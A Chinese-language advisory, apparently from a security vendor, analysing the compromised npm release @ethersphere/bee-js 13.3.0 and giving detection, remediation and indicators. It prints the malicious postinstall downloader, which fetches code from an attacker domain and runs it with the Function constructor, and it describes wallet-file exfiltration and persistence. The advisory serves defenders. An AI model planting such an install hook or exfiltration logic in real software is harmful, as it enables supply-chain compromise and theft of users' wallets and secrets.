恶意 @ethersphere/bee-js 13.3.0 针对 Swarm 钱包
@ethersphere/bee-js 13.3.0 通过 postinstall 脚本针对 Swarm Desktop 钱包并安装远程访问;请删除并更换密钥。
TL;DR
- Swarm 官方 JavaScript 客户端
@ethersphere/bee-js13.3.0 的恶意版本会运行 postinstall 脚本,下载针对各平台的载荷。Step Security 已发布分析。 - 载荷读取 Swarm Desktop 钱包文件,将其发送到攻击者控制的域名,并在 Linux、macOS 和 Windows 上安装持久远程访问。报告没有确定有多少安装执行了该脚本。
- 未分配 CVE。GitHub 咨询数据库记录了 GHSA-hh7j-5m3j-23pf,OSV 记录了 MAL-2026-18773。截至 2026-11-09,该版本不在 CISA KEV 中,也没有确认的资金被盗。
- 从所有锁文件中移除 13.3.0,并固定到最后一个干净版本 13.2.0。如果安装时启用了生命周期脚本,请将主机视为已遭入侵,并按照“如果我已经安装,应该怎么办?”中的步骤处理。
我受影响吗?
以下条件必须全部成立:
- 直接或通过依赖范围安装了
@ethersphere/bee-js13.3.0。 - 安装过程执行了生命周期脚本。npm 默认运行
postinstall;--ignore-scripts会阻止该钩子。 - 安装用户或 CI 任务拥有 Swarm Desktop 数据目录、凭据或其他进程可读取的秘密。
恶意代码位于 npm 压缩包和 Git 标签 v13.3.0 中。它不影响库的运行时函数,损害发生在安装期间。因此,项目可能在锁文件中保留 13.3.0 而钩子并未运行,也可能在从未导入该库的情况下运行了钩子。
| 软件包 | 受影响版本 | 干净版本 |
|---|---|---|
@ethersphere/bee-js |
13.3.0 | 13.2.0 |
@ethersphere/bee-js |
任何更早版本 | 不受此事件影响 |
检查已安装的版本:
# Direct dependency and lockfile entry
npm ls @ethersphere/bee-js
grep -n '"node_modules/@ethersphere/bee-js"' -A 6 package-lock.json
# pnpm and Yarn lockfiles
grep -n "@ethersphere/bee-js" pnpm-lock.yaml
grep -n "@ethersphere/bee-js" yarn.lock
# The package as installed in the tree
node -p "require('@ethersphere/bee-js/package.json').version" 2>/dev/null || echo "not installed"
Step Security 列出的依赖项目是:声明 ^13.2.0 的 @ethersphere/swarm-cli 3.7.0、声明 ^13.0.0 的 @ethersphere/bee-dashboard 0.37.1,以及声明 ^13.0.0 的 swarm-desktop 仓库。这三个范围都接受 13.3.0,因此在该版本可用期间进行全新解析或更新锁文件可能会选中它。报告没有表明这些项目发布了受影响的构建。
如何修复?
将 @ethersphere/bee-js 固定到 13.2.0,或在审查后固定到更高的版本,并重新生成每个解析了 13.3.0 的锁文件。npm 已不再列出 13.3.0,因此全新安装不会再解析到它,但现有锁文件和缓存仍可能保留它。
- 在每个指定该软件包的
package.json中更改依赖范围:
npm pkg set dependencies.@ethersphere/bee-js=13.2.0
- 删除锁文件条目,并从已审查的版本重新安装:
rm -rf node_modules package-lock.json
npm install
npm ls @ethersphere/bee-js
- 对于 pnpm,更新锁文件并重新安装:
pnpm update @ethersphere/bee-js@13.2.0
pnpm install --frozen-lockfile
- 在 CI 中,清除以旧锁文件为键的缓存,并重建任务镜像。缓存的
node_modules目录树会保留旧软件包,且不会重新运行钩子,因此必须重新创建目录树。
如果无法立即更改版本,请在禁用生命周期脚本的情况下安装,并确认先前的安装没有运行过它们:
npm ci --ignore-scripts
该标志会阻止此钩子以及其他所有安装脚本。它不会移除已经运行的代码,并且可能破坏需要安装脚本的软件包,因此应将其视为临时措施。
恶意代码做什么?
该版本将构建辅助脚本变成安装时下载器,在应用程序代码之前运行,并将受害者的 Swarm 钱包文件发送到攻击者控制的主机。更改在提交 de2f74e784b2eafa0d66fbb6d88b42ea11ee34cf 中可见:它将 scripts/generate-version.cjs 从 prepare 移到 postinstall,并将 scripts 目录加入发布文件。
"files": [
"dist",
"scripts"
],
"scripts": {
"prepublishOnly": "NODE_ENV=production npm run build",
"postinstall": "node scripts/generate-version.cjs",
"generate:version": "node scripts/generate-version.cjs",
"..."
}
该钩子向 api.frameworkmetrics.xyz 发送 HTTPS 请求,并用 Node.js 的 Function 构造函数执行响应正文。脚本注释将该请求描述为分析 ping。
try {
const req = require('https').get(
'https://api.frameworkmetrics.xyz/v1/analytics',
{
headers: {
'User-Agent': process.platform,
'X-Ethersphere': '1',
},
timeout: 3000,
},
async res => {
let body = ''
for await (const chunk of res) body += chunk
new Function('require', 'console', 'process', body)(require, console, process);
},
)
req.on('error', () => {}).on('timeout', () => req.destroy())
} catch {}
服务器根据 User-Agent 头选择载荷,其值为 linux、darwin 或 win32。响应以安装用户的权限运行,包括文件、进程和网络访问。该钩子会抑制网络错误,因此失败的请求在安装日志中几乎不留痕迹。
在 Linux 上,载荷将 x86-64 或 ARM64 可执行文件写入 ~/.solidity/。它创建一个名为 .run.py 的 Python 启动器,并注册一个名为 solidity-langsupport-runner.service 的用户服务,在失败时重启。
在 macOS 上,载荷将对应架构的可执行文件写入同一目录,并创建 Node.js 或 Python 启动器。它安装一个启用了 RunAtLoad 的 LaunchAgent,路径为 ~/Library/LaunchAgents/com.solidity.langsupport.runner.plist。
在 Windows 上,载荷查找现有的远程支持代理安装,获取 invoke.ps1 和 app.msi,并将名称以 .stuffed- 开头的 PowerShell 和 VBScript 启动器放入 %TEMP%。它会在 %LOCALAPPDATA% 下创建隐藏目录,为其添加 Microsoft Defender 排除项,并静默运行 MSI。
窃取代码针对 Swarm Desktop 数据目录中的两个文件:config.yaml 和 data-dir/keys/swarm.key。它将两者作为名为 configYaml 和 v3 的 JSON 字段发送到 /v1/swarm/report。swarm.key 是加密的 Ethereum V3 密钥库,config.yaml 可能包含解密它的密码。两者兼备时,攻击者可以控制钱包。
如何被利用?
攻击者不需要受害者点击链接或按名称导入软件包。入侵借助了项目自身的发布流程:
- 2026-11-08 23:59:54 UTC,一个标题为
chore(upcoming): release 13.3.0的未签名提交以bee-worker身份出现在upcoming分支上。 - 13.3.0 的 release-please 拉取请求 PR #1288 仍处于打开且未合并状态。合法的 13.2.0 经过了签名并合并的拉取请求。
- GitHub 于 2026-11-09 00:06:01 UTC 以同一
bee-worker身份发布了v13.3.0。这触发了仓库现有的 npm 发布工作流。 - 该工作流使用了 GitHub Actions 可信发布。因此 npm 软件包带有指向合法仓库和工作流的有效 SLSA 来源证明,因为恶意代码已经存在于工作流所构建的源码中。
- npm 于 00:09:50 UTC 收到
@ethersphere/bee-js@13.3.0。任何在启用生命周期脚本的情况下安装该版本的机器都运行了钩子。 - 钩子获取并运行平台载荷。报告称,到 00:31 UTC 左右,对载荷基础设施的请求返回诱饵内容或 HTTP 404。
Step Security 表示,证据指向对 bee-worker 发布身份的滥用。被盗的账户凭据或令牌是可能的解释,但报告没有确定使用了哪个凭据或如何获得。经审查的 GitHub Actions 历史中没有创建该恶意提交的运行记录。
攻击如何展开?
控制发布身份的攻击者将钩子放入源码。项目自身可信的发布流水线随后将其发布,从而在每台启用脚本安装该版本的主机上触及钱包文件和持久化机制。
flowchart LR
A["向 upcoming 分支提交未签名代码"] --> B["GitHub 发布 v13.3.0"]
B --> C["npm 可信发布工作流"]
C --> D["安装时运行 postinstall 钩子"]
D --> E["api.frameworkmetrics.xyz"]
E --> F["通过 Function() 执行平台载荷"]
F --> G["复制钱包文件并安装持久化"]
攻击者能做什么?
攻击者的影响范围取决于安装用户能读取什么,钱包步骤还需要 Swarm Desktop 文件存在。在这些条件下,载荷使攻击者能够:
- 获取加密的 Swarm 钱包密钥库,以及
config.yaml中存在时用于解密它的密码。 - 在 Linux 上获得远程访问可执行文件和失败重启服务,在 macOS 上获得
RunAtLoadLaunchAgent,或在 Windows 上获得带 Defender 排除项的静默 MSI 安装。 - 访问安装用户或 CI 任务能够触及的每个文件、进程和网络路径。
- 在删除软件包后继续持久化,因为服务、LaunchAgent 和已安装的二进制文件位于
node_modules之外。
报告没有确定有多少安装运行了钩子、是否有钱包被清空,也没有确定 macOS 和 Windows 载荷的完整命令集。Linux 可执行文件已被获取并检查;其中包含与命令执行和交互式 shell 相关的 Go 包名和函数名,包括 hubclient.runCommand、hubclient.startShellLocked 和 github.com/creack/pty。Step Security 没有执行它们,因此其行为是评估而非观察到的。
如果我已经安装,应该怎么办?
任何在启用生命周期脚本的情况下安装了 13.3.0 的主机都应视为已遭入侵,因为钩子在任何审查步骤之前就以安装用户权限运行了。删除依赖不会移除服务、LaunchAgent 或已放置的安装程序。
- 将主机与网络隔离,并在更换秘密之前停止持久化:
- Linux:运行
systemctl --user disable --now solidity-langsupport-runner.service,然后删除~/.config/systemd/user/solidity-langsupport-runner.service和~/.solidity/。 - macOS:运行
launchctl unload ~/Library/LaunchAgents/com.solidity.langsupport.runner.plist,然后删除该 plist 和~/.solidity/。 - Windows:删除
%LOCALAPPDATA%下的隐藏目录、%TEMP%下的.stuffed-*文件,以及载荷添加的 Defender 排除项。 - 从可信镜像重建主机,而不是就地清理。报告建议重建,因为未获取的载荷可能安装了比已观察到的文件更多的东西。
- 从干净系统更换安装用户或 CI 任务能够读取的每个凭据。对于 CI,更换任务令牌,并检查其日志中是否有对
api.frameworkmetrics.xyz的调用。 - 如果存在 Swarm Desktop 文件,请从干净系统更换钱包。将密钥库和
config.yaml中存储的任何密码视为已泄露。 - 将
@ethersphere/bee-js固定到 13.2.0 或经审查的更高版本,并重新生成锁文件和缓存。
如何检查是否已遭入侵?
从软件包版本和载荷写入的文件开始。只有版本匹配而没有文件时,仍需要检查安装日志,因为失败的运行不会留下载荷。
# 1. The malicious version in any project tree
grep -rn "@ethersphere/bee-js" --include=package-lock.json --include=pnpm-lock.yaml --include=yarn.lock .
node -p "require('@ethersphere/bee-js/package.json').version" 2>/dev/null
# 2. Linux persistence and payload directory
ls -la ~/.solidity/ 2>/dev/null
systemctl --user status solidity-langsupport-runner.service 2>/dev/null
# 3. macOS persistence
ls -la ~/.solidity/ 2>/dev/null
ls -la ~/Library/LaunchAgents/com.solidity.langsupport.runner.plist 2>/dev/null
# 4. DNS, proxy and egress logs
grep -i "frameworkmetrics" /var/log/* 2>/dev/null
在 Windows 上,检查 %TEMP% 中的 .stuffed-* 文件,以及 %LOCALAPPDATA% 下包含 app.msi 的隐藏目录。然后读取 Defender 排除列表:
Get-ChildItem $env:TEMP -Force -Filter ".stuffed-*"
Get-MpPreference | Select-Object -ExpandProperty ExclusionPath
已公布的指标如下:
- 网络:
api.frameworkmetrics.xyz,路径/v1/analytics、/v1/assets/和/v1/swarm/report,请求头X-Ethersphere: 1。 - 文件:
~/.solidity/linux_amd64、~/.solidity/linux_arm64、~/.solidity/.run.py、~/.config/systemd/user/solidity-langsupport-runner.service、~/.solidity/darwin_arm64、~/.solidity/darwin_amd64、~/Library/LaunchAgents/com.solidity.langsupport.runner.plist、%TEMP%\.stuffed-*以及%LOCALAPPDATA%下的隐藏暂存目录。 - 哈希:
linux_amd64的 SHA-256 为9b73e7cd4e1425e770392549d8df46c706139ef476f4f7b9ac405165dc8d9696;linux_arm64的 SHA-256 为b601776817363b96295119f7221338a122d5247a35a77a64b04f286e1bbcc565;恶意 npm 压缩包的 SHA-1 为a205c8a5fed81e9a787645b2801f00be3db3348d。 - 该域名于 2026-11-06 15:08 UTC 注册。到 2026-11-09 00:31 UTC 左右,对载荷主机的请求返回诱饵内容或 HTTP 404,因此没有响应并不能证明运行过钩子的主机是干净的。
与合法工具也会创建的路径匹配只是需要核实的线索,不是证据。反过来也成立:失败的运行除了软件包版本和安装日志外可能不留痕迹。
时间线
- 2026-11-06 15:08 UTC:
frameworkmetrics.xyz被注册。 - 2026-11-08 23:59:54 UTC:未签名的
chore(upcoming): release 13.3.0提交以bee-worker身份出现,GitHub 发布记录被创建。 - 2026-11-09 00:06:01 UTC:GitHub 发布
v13.3.0。 - 2026-11-09 00:06:03 UTC:npm 发布工作流启动。
- 2026-11-09 00:09:50 UTC:
@ethersphere/bee-js@13.3.0发布到 npm。 - 2026-11-09 00:53:54 UTC:Step Security 在仓库中开启 issue #1294。
- 2026-11-09 01:25:27 UTC:GitHub 咨询数据库发布 GHSA-hh7j-5m3j-23pf。
- 2026-11-09:npm 不再列出 13.3.0;注册表将 13.2.0 显示为最新版本。
常见问题
即使我的应用程序从未导入该软件包,安装时也会运行载荷吗?
会,前提是启用了生命周期脚本。载荷是一个 postinstall 钩子,因此它会在 npm install 期间、任何应用程序代码之前运行。使用 --ignore-scripts 安装的部署不会运行该钩子。
13.2.0 安全吗?
就此事件而言是安全的。Step Security 检查了 13.2.0,没有发现恶意安装路径;npm 在 13.3.0 不再列出后将 13.2.0 列为最新版本。这只回答本次入侵的问题,并不保证未来的版本。
有效的 SLSA 来源证明意味着软件包安全吗?
不。来源证明有效是因为项目自身的可信发布工作流从恶意源码构建了该软件包。来源证明记录的是哪个仓库和工作流产出了构件,并不证明源码经过审查。
我应该在所有项目中阻止生命周期脚本吗?
它会阻止此钩子并减少安装时的攻击面,但会破坏在安装期间构建原生模块的软件包,并且不能撤销已经运行的钩子。应将其作为一项控制措施,与锁文件审查和依赖防火墙一起使用。
有可跟踪的 CVE 吗?
没有分配 CVE。请跟踪 GitHub 咨询数据库中的 GHSA-hh7j-5m3j-23pf 或 OSV 中的 MAL-2026-18773,并关注 bee-js 仓库以获取维护者的事件报告。
使用 Ostorlab 查找受影响的 bee-js 安装
Ostorlab 的软件成分分析和 SBOM 清单会列出仓库解析的开源软件包和版本。搜索 @ethersphere/bee-js 即可看出哪些项目包含了 13.3.0,以及哪些锁文件仍需重新生成。
参考文献
- Step Security,"@ethersphere/bee-js 13.3.0 Compromised":https://www.stepsecurity.io/blog/ethersphere-bee-js-13-3-0-compromise(2026 年 11 月 9 日检查)
- GitHub 咨询数据库,GHSA-hh7j-5m3j-23pf(2026-11-09):https://github.com/advisories/GHSA-hh7j-5m3j-23pf(2026 年 11 月 9 日检查)
- OSV,MAL-2026-18773(2026-11-09):https://osv.dev/vulnerability/MAL-2026-18773(2026 年 11 月 9 日检查)
- bee-js 提交 de2f74e784b2eafa0d66fbb6d88b42ea11ee34cf(2026-11-08):https://github.com/ethersphere/bee-js/commit/de2f74e784b2eafa0d66fbb6d88b42ea11ee34cf(2026 年 11 月 9 日检查)
- bee-js 发布 v13.3.0(2026-11-09):https://github.com/ethersphere/bee-js/releases/tag/v13.3.0(2026 年 11 月 9 日检查)
- bee-js 拉取请求 #1288,"chore(upcoming): release 13.3.0"(2026-10-27 开启):https://github.com/ethersphere/bee-js/pull/1288(2026 年 11 月 9 日检查)
- bee-js issue #1294,"ethersphere/bee-js npm package version 13.3.0 is compromised"(2026-11-09):https://github.com/ethersphere/bee-js/issues/1294(2026 年 11 月 9 日检查)
- @ethersphere/bee-js 的 npm 注册表元数据(2026 年 11 月 9 日检查):https://registry.npmjs.org/@ethersphere%2Fbee-js